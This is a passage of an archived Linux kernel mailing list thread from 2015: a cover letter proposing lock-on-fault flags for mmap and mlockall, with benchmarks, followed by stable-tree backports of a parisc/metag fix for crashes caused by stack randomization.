+	if (!flags || (flags & ~(MCL_CURRENT | MCL_FUTURE | MCL_ONFAULT)) ||
+	    ((flags & MCL_FUTURE) && (flags & MCL_ONFAULT)))
 		goto out;
 
 	ret = -EPERM;
-- 
1.9.1

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: [PATCH V2 0/3] Allow user to request memory to be locked on page fault
Date: Tue,  2 Jun 2015 14:13:23 -0400
Lines: 161
Approved: news@gmane.org
Message-ID: <1433268806-17109-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1433268844 30604 80.91.229.3 (2 Jun 2015 18:14:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 2 Jun 2015 18:14:04 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Shuah Khan <shuahkh@osg.samsung.com>,
	Michal Hocko <mhocko@suse.cz>,
	Michael Kerrisk <mtk.manpages@gmail.com>,
	linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org,
	linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Tue Jun 02 20:13:45 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1Yzqh6-0001MS-Ve
	for glkm-linux-mm-2@m.gmane.org; Tue, 02 Jun 2015 20:13:45 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 8EFB76B0071; Tue,  2 Jun 2015 14:13:34 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 84DB16B0072; Tue,  2 Jun 2015 14:13:34 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 6EE056B0073; Tue,  2 Jun 2015 14:13:34 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qk0-f180.google.com (mail-qk0-f180.google.com [209.85.220.180])
	by kanga.kvack.org (Postfix) with ESMTP id 45BD06B0071
	for <linux-mm@kvack.org>; Tue,  2 Jun 2015 14:13:34 -0400 (EDT)
Original-Received: by qkx62 with SMTP id 62so105499883qkx.3
        for <linux-mm@kvack.org>; Tue, 02 Jun 2015 11:13:34 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:from:to:cc
         :subject:date:message-id;
        bh=bi58s8BcMngaSjxn9QhyTw8CHA+K5WoCjQYzVfN8AeA=;
        b=TLJ3JTFFE/y/2j1/jRUUKucQDI+bMASquUG4hPSuSHkrkLrfI7nTB/7o3Vf7XLPozX
         +ykvmb6bo5CvI0WiRb1RUIKUpXsIWr5wqD/KLJ6bl/0cNF3sM4LDB2WFVAWMux9DpkXc
         SCQjOYjAWnWaAj0Shwur7d2WIoODQGgNa/KC25wOfgwmMPdJx4vyKPy8oVGZ08JQfU6H
         n5nzJOcCb4JTX2U2O+HmPsccow4drdBUC0OFOjPwd/4e1TNv5DiZ5zzDl3+gr5fPinb7
         AyRbxUM2F+n5onWoz/Rtuwx9pkdUfkdMrqcaFrk4gYtYnI/+DKg8Nyd651NgN+tQnsC+
         NS9A==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.115 as permitted sender) smtp.mail=emunson@akamai.com;       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
X-Gm-Message-State: ALoCoQlGUCi03iXZjrqIJwpFGTXbdaq6bXQfJurPs3JVczjU0l3flUwdbLPpkOatZX27oFlq7cDyJpHIe00mt9fx5bfu3WVEhay1Z8JrksLiKuVYZdSyIyj8VEDXxXpm8tLCl+IOw4qgidfucfT9ZBRArDxLMxFdNTMLhLkJpB6Qa2KtT7UXv+I5mTq70Z66TapsoJWoYKqc
X-Received: by 10.55.15.135 with SMTP id 7mr50439571qkp.12.1433268814053;
        Tue, 02 Jun 2015 11:13:34 -0700 (PDT)
X-Received: by 10.55.15.135 with SMTP id 7mr50438707qkp.12.1433268808393;
        Tue, 02 Jun 2015 11:13:28 -0700 (PDT)
Original-Received: from prod-mail-xrelay07.akamai.com (prod-mail-xrelay07.akamai.com. [72.246.2.115])
        by mx.google.com with ESMTP id 48si5482125qgj.54.2015.06.02.11.13.27
        for <linux-mm@kvack.org>;
        Tue, 02 Jun 2015 11:13:28 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 72.246.2.115 as permitted sender) client-ip=72.246.2.115;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.115 as permitted sender) smtp.mail=emunson@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 987024860B;
	Tue,  2 Jun 2015 18:13:27 +0000 (GMT)
Original-Received: from prod-mail-relay06.akamai.com (prod-mail-relay06.akamai.com [172.17.120.126])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id 8BF89485EA;
	Tue,  2 Jun 2015 18:13:27 +0000 (GMT)
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (bos-lp6ds.kendall.corp.akamai.com [172.28.12.164])
	by prod-mail-relay06.akamai.com (Postfix) with ESMTP id 85CD3202A;
	Tue,  2 Jun 2015 18:13:27 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:133646 gmane.linux.ports.alpha:3113 gmane.linux.kernel:1967846 gmane.linux.ports.mips.general:48949 gmane.linux.ports.parisc:25756 gmane.linux.ports.ppc64.devel:113793 gmane.linux.ports.sparc:21098 gmane.linux.kernel.cross-arch:27892 gmane.linux.kernel.api:11790
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/133646>

mlock() allows a user to control page out of program memory, but this
comes at the cost of faulting in the entire mapping when it is
allocated.  For large mappings where the entire area is not necessary
this is not ideal.

This series introduces new flags for mmap() and mlockall() that allow a
user to specify that the covered are should not be paged out, but only
after the memory has been used the first time.

There are two main use cases that this set covers.  The first is the
security focussed mlock case.  A buffer is needed that cannot be written
to swap.  The maximum size is known, but on average the memory used is
significantly less than this maximum.  With lock on fault, the buffer
is guaranteed to never be paged out without consuming the maximum size
every time such a buffer is created.

The second use case is focussed on performance.  Portions of a large
file are needed and we want to keep the used portions in memory once
accessed.  This is the case for large graphical models where the path
through the graph is not known until run time.  The entire graph is
unlikely to be used in a given invocation, but once a node has been
used it needs to stay resident for further processing.  Given these
constraints we have a number of options.  We can potentially waste a
large amount of memory by mlocking the entire region (this can also
cause a significant stall at startup as the entire file is read in).
We can mlock every page as we access them without tracking if the page
is already resident but this introduces large overhead for each access.
The third option is mapping the entire region with PROT_NONE and using
a signal handler for SIGSEGV to mprotect(PROT_READ) and mlock() the
needed page.  Doing this page at a time adds a significant performance
penalty.  Batching can be used to mitigate this overhead, but in order
to safely avoid trying to mprotect pages outside of the mapping, the
boundaries of each mapping to be used in this way must be tracked and
available to the signal handler.  This is precisely what the mm system
in the kernel should already be doing.

For mmap(MAP_LOCKONFAULT) the user is charged against RLIMIT_MEMLOCK
as if MAP_LOCKED was used, so when the VMA is created not when the pages
are faulted in.  For mlockall(MCL_ON_FAULT) the user is charged as if
MCL_FUTURE was used.  This decision was made to keep the accounting
checks out of the page fault path.

To illustrate the benefit of this patch I wrote a test program that
mmaps a 5 GB file filled with random data and then makes 15,000,000
accesses to random addresses in that mapping.  The test program was run
20 times for each setup.  Results are reported for two program portions,
setup and execution.  The setup phase is calling mmap and optionally
mlock on the entire region.  For most experiments this is trivial, but
it highlights the cost of faulting in the entire region.  Results are
averages across the 20 runs in milliseconds.

mmap with MAP_LOCKED:
Setup avg:      11821.193
Processing avg: 3404.286

mmap with mlock() before each access:
Setup avg:      0.054
Processing avg: 34263.201

mmap with PROT_NONE and signal handler and batch size of 1 page:
With the default value in max_map_count, this gets ENOMEM as I attempt
to change the permissions, after upping the sysctl significantly I get:
Setup avg:      0.050
Processing avg: 67690.625

mmap with PROT_NONE and signal handler and batch size of 8 pages:
Setup avg:      0.098
Processing avg: 37344.197

mmap with PROT_NONE and signal handler and batch size of 16 pages:
Setup avg:      0.0548
Processing avg: 29295.669

mmap with MAP_LOCKONFAULT:
Setup avg:      0.073
Processing avg: 18392.136

The signal handler in the batch cases faulted in memory in two steps to
avoid having to know the start and end of the faulting mapping.  The
first step covers the page that caused the fault as we know that it will
be possible to lock.  The second step speculatively tries to mlock and
mprotect the batch size - 1 pages that follow.  There may be a clever
way to avoid this without having the program track each mapping to be
covered by this handeler in a globally accessible structure, but I could
not find it.  It should be noted that with a large enough batch size
this two step fault handler can still cause the program to crash if it
reaches far beyond the end of the mapping.

These results show that if the developer knows that a majority of the
mapping will be used, it is better to try and fault it in at once,
otherwise MAP_LOCKONFAULT is significantly faster.

The performance cost of these patches are minimal on the two benchmarks
I have tested (stream and kernbench).  The following are the average
values across 20 runs of each benchmark after a warmup run whose
results were discarded.

Avg throughput in MB/s from stream using 1000000 element arrays
Test     4.1-rc2      4.1-rc2+lock-on-fault
Copy:    10,979.08    10,917.34
Scale:   11,094.45    11,023.01
Add:     12,487.29    12,388.65
Triad:   12,505.77    12,418.78

Kernbench optimal load
                 4.1-rc2  4.1-rc2+lock-on-fault
Elapsed Time     71.046   71.324
User Time        62.117   62.352
System Time      8.926    8.969
Context Switches 14531.9  14542.5
Sleeps           14935.9  14939

Eric B Munson (3):
  Add mmap flag to request pages are locked after page fault
  Add mlockall flag for locking pages on fault
  Add tests for lock on fault

 arch/alpha/include/uapi/asm/mman.h          |   2 +
 arch/mips/include/uapi/asm/mman.h           |   2 +
 arch/parisc/include/uapi/asm/mman.h         |   2 +
 arch/powerpc/include/uapi/asm/mman.h        |   2 +
 arch/sparc/include/uapi/asm/mman.h          |   2 +
 arch/tile/include/uapi/asm/mman.h           |   2 +
 arch/xtensa/include/uapi/asm/mman.h         |   2 +
 include/linux/mm.h                          |   1 +
 include/linux/mman.h                        |   3 +-
 include/uapi/asm-generic/mman.h             |   2 +
 mm/mlock.c                                  |  13 ++-
 mm/mmap.c                                   |   4 +-
 mm/swap.c                                   |   3 +-
 tools/testing/selftests/vm/Makefile         |   8 +-
 tools/testing/selftests/vm/lock-on-fault.c  | 145 ++++++++++++++++++++++++++++
 tools/testing/selftests/vm/on-fault-limit.c |  47 +++++++++
 tools/testing/selftests/vm/run_vmtests      |  23 +++++
 17 files changed, 254 insertions(+), 9 deletions(-)
 create mode 100644 tools/testing/selftests/vm/lock-on-fault.c
 create mode 100644 tools/testing/selftests/vm/on-fault-limit.c

Cc: Shuah Khan <shuahkh@osg.samsung.com>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: Michael Kerrisk <mtk.manpages@gmail.com>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-mm@kvack.org
Cc: linux-arch@vger.kernel.org
Cc: linux-api@vger.kernel.org

-- 
1.9.1

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.kernel.stable,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.metag
Subject: [PATCH 4.0 109/148] parisc,metag: Fix crashes due to stack randomization on stack-grows-upwards architectures
Date: Wed,  3 Jun 2015 21:09:39 +0900
Lines: 83
Approved: news@gmane.org
Message-ID: <20150603114210.120664085@linuxfoundation.org>
References: <20150603114205.337615117@linuxfoundation.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15
X-Trace: ger.gmane.org 1433335083 28523 80.91.229.3 (3 Jun 2015 12:38:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 3 Jun 2015 12:38:03 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	stable@vger.kernel.org, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org, James Hogan <james.hogan@imgtec.com>,
	linux-metag@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: stable-owner@vger.kernel.org Wed Jun 03 14:37:57 2015
Return-path: <stable-owner@vger.kernel.org>
Envelope-to: glks-stable3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <stable-owner@vger.kernel.org>)
	id 1Z07vW-00030Y-9U
	for glks-stable3@plane.gmane.org; Wed, 03 Jun 2015 14:37:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753545AbbFCMhn (ORCPT <rfc822;glks-stable3@m.gmane.org>);
	Wed, 3 Jun 2015 08:37:43 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:58388 "EHLO
	mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756267AbbFCMVC (ORCPT
	<rfc822;stable@vger.kernel.org>); Wed, 3 Jun 2015 08:21:02 -0400
Original-Received: from localhost (p33062-ipbffx02marunouchi.tokyo.ocn.ne.jp [220.96.46.62])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id E9A3BB1D;
	Wed,  3 Jun 2015 12:21:00 +0000 (UTC)
X-Mailer: git-send-email 2.4.2
In-Reply-To: <20150603114205.337615117@linuxfoundation.org>
User-Agent: quilt/0.64
Original-Sender: stable-owner@vger.kernel.org
Precedence: bulk
List-ID: <stable.vger.kernel.org>
X-Mailing-List: stable@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.stable:137998 gmane.linux.kernel:1968593 gmane.linux.ports.parisc:25757 gmane.linux.kernel.metag:524
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.stable/137998>

4.0-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Helge Deller <deller@gmx.de>

commit d045c77c1a69703143a36169c224429c48b9eecd upstream.

On architectures where the stack grows upwards (CONFIG_STACK_GROWSUP=y,
currently parisc and metag only) stack randomization sometimes leads to crashes
when the stack ulimit is set to lower values than STACK_RND_MASK (which is 8 MB
by default if not defined in arch-specific headers).

The problem is, that when the stack vm_area_struct is set up in fs/exec.c, the
additional space needed for the stack randomization (as defined by the value of
STACK_RND_MASK) was not taken into account yet and as such, when the stack
randomization code added a random offset to the stack start, the stack
effectively got smaller than what the user defined via rlimit_max(RLIMIT_STACK)
which then sometimes leads to out-of-stack situations and crashes.

This patch fixes it by adding the maximum possible amount of memory (based on
STACK_RND_MASK) which theoretically could be added by the stack randomization
code to the initial stack size. That way, the user-defined stack size is always
guaranteed to be at minimum what is defined via rlimit_max(RLIMIT_STACK).

This bug is currently not visible on the metag architecture, because on metag
STACK_RND_MASK is defined to 0 which effectively disables stack randomization.

The changes to fs/exec.c are inside an "#ifdef CONFIG_STACK_GROWSUP"
section, so it does not affect other platformws beside those where the
stack grows upwards (parisc and metag).

Signed-off-by: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Cc: James Hogan <james.hogan@imgtec.com>
Cc: linux-metag@vger.kernel.org
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 arch/parisc/include/asm/elf.h   |    4 ++++
 arch/parisc/kernel/sys_parisc.c |    3 +++
 fs/exec.c                       |    3 +++
 3 files changed, 10 insertions(+)

--- a/arch/parisc/include/asm/elf.h
+++ b/arch/parisc/include/asm/elf.h
@@ -348,6 +348,10 @@ struct pt_regs;	/* forward declaration..
 
 #define ELF_HWCAP	0
 
+#define STACK_RND_MASK	(is_32bit_task() ? \
+				0x7ff >> (PAGE_SHIFT - 12) : \
+				0x3ffff >> (PAGE_SHIFT - 12))
+
 struct mm_struct;
 extern unsigned long arch_randomize_brk(struct mm_struct *);
 #define arch_randomize_brk arch_randomize_brk
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -77,6 +77,9 @@ static unsigned long mmap_upper_limit(vo
 	if (stack_base > STACK_SIZE_MAX)
 		stack_base = STACK_SIZE_MAX;
 
+	/* Add space for stack randomization. */
+	stack_base += (STACK_RND_MASK << PAGE_SHIFT);
+
 	return PAGE_ALIGN(STACK_TOP - stack_base);
 }
 
--- a/fs/exec.c
+++ b/fs/exec.c
@@ -659,6 +659,9 @@ int setup_arg_pages(struct linux_binprm
 	if (stack_base > STACK_SIZE_MAX)
 		stack_base = STACK_SIZE_MAX;
 
+	/* Add space for stack randomization. */
+	stack_base += (STACK_RND_MASK << PAGE_SHIFT);
+
 	/* Make sure we didn't let the argument array grow too large. */
 	if (vma->vm_end - vma->vm_start > stack_base)
 		return -ENOMEM;



From - Thu Nov 08 21:37:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sasha Levin <sasha.levin-QHcLZuEGTsvQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel.stable,gmane.linux.ports.parisc
Subject: [added to the 3.18 stable tree] parisc,metag: Fix crashes due to stack randomization on stack-grows-upwards architectures
Date: Thu,  4 Jun 2015 12:54:42 -0400
Lines: 91
Approved: news@gmane.org
Message-ID: <1433436902-22778-106-git-send-email-sasha.levin@oracle.com>
References: <1433436902-22778-1-git-send-email-sasha.levin@oracle.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1433437183 2773 80.91.229.3 (4 Jun 2015 16:59:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Jun 2015 16:59:43 +0000 (UTC)
Cc: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	James Hogan <james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Sasha Levin <sasha.levin-QHcLZuEGTsvQT0dZR+AlfA@public.gmane.org>
To: stable-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, stable-commits-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Thu Jun 04 18:59:31 2015
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1Z0YTm-000755-8g
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Thu, 04 Jun 2015 18:58:54 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S932405AbbFDQ6w (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Thu, 4 Jun 2015 12:58:52 -0400
Original-Received: from aserp1040.oracle.com ([141.146.126.69]:47770 "EHLO
	aserp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932187AbbFDQ6s (ORCPT
	<rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Thu, 4 Jun 2015 12:58:48 -0400
Original-Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71])
	by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t54GwgVc002751
	(version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Thu, 4 Jun 2015 16:58:42 GMT
Original-Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75])
	by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t54Gwf3c000485
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL);
	Thu, 4 Jun 2015 16:58:41 GMT
Original-Received: from abhmp0015.oracle.com (abhmp0015.oracle.com [141.146.116.21])
	by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t54GwfjM016520;
	Thu, 4 Jun 2015 16:58:41 GMT
Original-Received: from lappy.hsd1.nh.comcast.net (/10.159.130.126)
	by default (Oracle Beehive Gateway v4.0)
	with ESMTP ; Thu, 04 Jun 2015 09:58:41 -0700
X-Mailer: git-send-email 2.1.0
In-Reply-To: <1433436902-22778-1-git-send-email-sasha.levin-QHcLZuEGTsvQT0dZR+AlfA@public.gmane.org>
X-Source-IP: userv0021.oracle.com [156.151.31.71]
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:528 gmane.linux.kernel.stable:138229 gmane.linux.ports.parisc:25758
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/528>

From: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>

This patch has been added to the 3.18 stable tree. If you have any
objections, please let us know.

===============

[ Upstream commit d045c77c1a69703143a36169c224429c48b9eecd ]

On architectures where the stack grows upwards (CONFIG_STACK_GROWSUP=y,
currently parisc and metag only) stack randomization sometimes leads to crashes
when the stack ulimit is set to lower values than STACK_RND_MASK (which is 8 MB
by default if not defined in arch-specific headers).

The problem is, that when the stack vm_area_struct is set up in fs/exec.c, the
additional space needed for the stack randomization (as defined by the value of
STACK_RND_MASK) was not taken into account yet and as such, when the stack
randomization code added a random offset to the stack start, the stack
effectively got smaller than what the user defined via rlimit_max(RLIMIT_STACK)
which then sometimes leads to out-of-stack situations and crashes.

This patch fixes it by adding the maximum possible amount of memory (based on
STACK_RND_MASK) which theoretically could be added by the stack randomization
code to the initial stack size. That way, the user-defined stack size is always
guaranteed to be at minimum what is defined via rlimit_max(RLIMIT_STACK).

This bug is currently not visible on the metag architecture, because on metag
STACK_RND_MASK is defined to 0 which effectively disables stack randomization.

The changes to fs/exec.c are inside an "#ifdef CONFIG_STACK_GROWSUP"
section, so it does not affect other platformws beside those where the
stack grows upwards (parisc and metag).

Signed-off-by: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Cc: linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: James Hogan <james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>
Cc: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: stable-u79uwXL29TY76Z2rM5mHXA@public.gmane.org # v3.16+
Signed-off-by: Sasha Levin <sasha.levin-QHcLZuEGTsvQT0dZR+AlfA@public.gmane.org>
---
 arch/parisc/include/asm/elf.h   | 4 ++++
 arch/parisc/kernel/sys_parisc.c | 3 +++
 fs/exec.c                       | 3 +++
 3 files changed, 10 insertions(+)

diff --git a/arch/parisc/include/asm/elf.h b/arch/parisc/include/asm/elf.h
index 3391d06..78c9fd3 100644
--- a/arch/parisc/include/asm/elf.h
+++ b/arch/parisc/include/asm/elf.h
@@ -348,6 +348,10 @@ struct pt_regs;	/* forward declaration... */
 
 #define ELF_HWCAP	0
 
+#define STACK_RND_MASK	(is_32bit_task() ? \
+				0x7ff >> (PAGE_SHIFT - 12) : \
+				0x3ffff >> (PAGE_SHIFT - 12))
+
 struct mm_struct;
 extern unsigned long arch_randomize_brk(struct mm_struct *);
 #define arch_randomize_brk arch_randomize_brk
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index e1ffea2..5aba01a 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -77,6 +77,9 @@ static unsigned long mmap_upper_limit(void)
 	if (stack_base > STACK_SIZE_MAX)
 		stack_base = STACK_SIZE_MAX;
 
+	/* Add space for stack randomization. */
+	stack_base += (STACK_RND_MASK << PAGE_SHIFT);
+
 	return PAGE_ALIGN(STACK_TOP - stack_base);
 }
 
diff --git a/fs/exec.c b/fs/exec.c
index 2e83209..b7a5f46 100644
--- a/fs/exec.c
+++ b/fs/exec.c
@@ -658,6 +658,9 @@ int setup_arg_pages(struct linux_binprm *bprm,
 	if (stack_base > STACK_SIZE_MAX)
 		stack_base = STACK_SIZE_MAX;
 
+	/* Add space for stack randomization. */
+	stack_base += (STACK_RND_MASK << PAGE_SHIFT);
+
 	/* Make sure we didn't let the argument array grow too large. */
 	if (vma->vm_end - vma->vm_start > stack_base)
 		return -ENOMEM;
-- 
2.1.0


From - Thu Nov 08 21:37:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Luis Henriques <luis.henriques@canonical.com>
Newsgroups: gmane.linux.ubuntu.devel.kernel.general,gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.kernel.metag,gmane.linux.ports.parisc
Subject: [PATCH 3.16.y-ckt 039/110] parisc,
 metag: Fix crashes due to stack randomization on stack-grows-upwards
 architectures
Date: Fri,  5 Jun 2015 14:57:22 +0100
Lines: 87
Approved: news@gmane.org
Message-ID: <1433512713-22984-40-git-send-email-luis.henriques@canonical.com>
References: <1433512713-22984-1-git-send-email-luis.henriques@canonical.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1433512873 20559 80.91.229.3 (5 Jun 2015 14:01:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 5 Jun 2015 14:01:13 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, James Hogan <james.hogan@imgtec.com>,
 linux-metag@vger.kernel.org, linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org, stable@vger.kernel.org,
 kernel-team@lists.ubuntu.com
Original-X-From: kernel-team-bounces@lists.ubuntu.com Fri Jun 05 16:01:07 2015
Return-path: <kernel-team-bounces@lists.ubuntu.com>
Envelope-to: gludkg-kernel-team@m.gmane.org
Original-Received: from huckleberry.canonical.com ([91.189.94.19])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <kernel-team-bounces@lists.ubuntu.com>)
	id 1Z0sAy-0005Hg-Az
	for gludkg-kernel-team@m.gmane.org; Fri, 05 Jun 2015 16:00:48 +0200
Original-Received: from localhost ([127.0.0.1] helo=huckleberry.canonical.com)
	by huckleberry.canonical.com with esmtp (Exim 4.76)
	(envelope-from <kernel-team-bounces@lists.ubuntu.com>)
	id 1Z0sAu-0002M8-8L; Fri, 05 Jun 2015 14:00:44 +0000
Original-Received: from youngberry.canonical.com ([91.189.89.112])
 by huckleberry.canonical.com with esmtp (Exim 4.76)
 (envelope-from <luis.henriques@canonical.com>) id 1Z0s9R-0001Id-41
 for kernel-team@lists.ubuntu.com; Fri, 05 Jun 2015 13:59:13 +0000
Original-Received: from [10.172.192.212] (helo=localhost)
 by youngberry.canonical.com with esmtpsa (TLS1.0:RSA_AES_128_CBC_SHA1:16)
 (Exim 4.76) (envelope-from <luis.henriques@canonical.com>)
 id 1Z0s9Q-0001sA-NX; Fri, 05 Jun 2015 13:59:12 +0000
X-Mailer: git-send-email 2.1.4
In-Reply-To: <1433512713-22984-1-git-send-email-luis.henriques@canonical.com>
X-Extended-Stable: 3.16
X-BeenThere: kernel-team@lists.ubuntu.com
